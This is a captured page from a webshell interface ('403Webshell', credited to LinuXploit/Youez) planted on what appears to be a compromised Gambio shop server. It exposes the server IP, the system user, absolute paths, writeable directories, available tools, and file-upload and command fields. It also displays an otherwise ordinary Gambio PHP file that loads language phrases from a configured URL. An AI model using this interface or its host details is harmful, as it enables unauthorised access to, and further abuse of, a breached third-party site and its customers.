403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/TextPhrases/english/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/TextPhrases/english/hub_phrases.lang.inc.php
<?php
/* --------------------------------------------------------------
	hub_phrases.lang.inc.php 2017-10-26
	Gambio GmbH
	http://www.gambio.de
	Copyright (c) 2017 Gambio GmbH
	Released under the GNU General Public License (Version 2)
	[http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

if(empty($GLOBALS['db_link']))
{
	$t_language_text_section_content_array = [];
	
	return;
}

// use xtc_db_query for compatibility with installer and updater
$query  = 'SELECT `gm_value` FROM `gm_configuration` WHERE `gm_key` = "GAMBIO_HUB_PHRASES_URL"';
$result = xtc_db_query($query);

if(xtc_db_num_rows($result) > 0)
{
	$row         = xtc_db_fetch_array($result);
	$phrases_url = $row['gm_value'];
	$curlTimeout = 10;
	
	$query  = 'SELECT `gm_value` FROM `gm_configuration` WHERE `gm_key` = "GAMBIO_HUB_CURL_TIMEOUT"';
	$result = xtc_db_query($query);
	
	if(xtc_db_num_rows($result) > 0)
	{
		$row         = xtc_db_fetch_array($result);
		$curlTimeout = (int)$row['gm_value'];
	}
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $phrases_url);
	curl_setopt($ch, CURLOPT_TIMEOUT, $curlTimeout);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	$jsonResponse = json_decode(curl_exec($ch), true);
	
	$t_language_text_section_content_array = $jsonResponse['en'];
	
	if(!is_array($t_language_text_section_content_array))
	{
		$t_language_text_section_content_array = [];
	}
}
else
{
	$t_language_text_section_content_array = [];
}

Youez - 2016 - github.com/yon3zu
LinuXploit